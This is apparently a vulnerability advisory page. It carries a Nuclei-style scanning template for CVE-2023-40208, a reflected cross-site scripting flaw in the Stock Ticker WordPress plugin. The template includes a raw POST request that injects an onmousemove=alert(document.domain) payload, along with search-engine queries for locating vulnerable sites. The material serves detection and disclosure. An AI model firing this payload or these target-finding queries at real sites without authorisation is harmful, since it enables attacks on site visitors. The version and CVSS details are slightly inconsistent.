CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
LOW
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
EPSS
Percentile
39.9%
The Stock Ticker plugin for WordPress is vulnerable to Reflected Cross-Site Scripting in the ajax_stockticker_load function in versions up to, and including, 3.23.3 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.
id: CVE-2023-40208
info:
name: Stock Ticker <= 3.23.2 - Cross-Site Scripting
author: theamanrawat
severity: medium
description: |
The Stock Ticker plugin for WordPress is vulnerable to Reflected Cross-Site Scripting in the ajax_stockticker_load function in versions up to, and including, 3.23.3 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.
remediation: Fixed in version 3.23.3
reference:
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/stock-ticker/stock-ticker-3233-reflected-cross-site-scripting
- https://patchstack.com/database/vulnerability/stock-ticker/wordpress-stock-ticker-plugin-3-23-3-unauth-reflected-cross-site-scripting-xss-vulnerability
- https://wordpress.org/plugins/stock-ticker/
- https://nvd.nist.gov/vuln/detail/CVE-2023-40208
- https://patchstack.com/database/vulnerability/stock-ticker/wordpress-stock-ticker-plugin-3-23-3-unauth-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2023-40208
cwe-id: CWE-79
epss-score: 0.00071
epss-percentile: 0.30433
cpe: cpe:2.3:a:urosevic:stock_ticker:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 1
vendor: urosevic
product: stock_ticker
framework: wordpress
shodan-query: http.html:/wp-content/plugins/stock-ticker/
fofa-query: body=/wp-content/plugins/stock-ticker/
publicwww-query: /wp-content/plugins/stock-ticker/
tags: cve2023,cve,wordpress,wp-plugin,wpscan,wp,stock-ticker,xss,urosevic
http:
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=stockticker_load&symbols=MSFT&class=%22+onmousemove%3Dalert%28document.domain%29+
matchers-condition: and
matchers:
- type: word
part: body
words:
- "stock_ticker"
- "onmousemove=alert(document.domain)"
condition: and
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200
# digest: 4a0a004730450220056d69daada66633276ae37f2d2c9c36013ba0f1d18e7e240f40fd6db47a15b1022100878f118a3ebe1a847cf47ff121b388b4fc0c454c9138b800f184f6d752c5b206:922c64590222798bb761d5b6d8e72950
nvd.nist.gov/vuln/detail/CVE-2023-40208
patchstack.com/database/vulnerability/stock-ticker/wordpress-stock-ticker-plugin-3-23-3-unauth-reflected-cross-site-scripting-xss-vulnerability
patchstack.com/database/vulnerability/stock-ticker/wordpress-stock-ticker-plugin-3-23-3-unauth-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve
wordpress.org/plugins/stock-ticker/
www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/stock-ticker/stock-ticker-3233-reflected-cross-site-scripting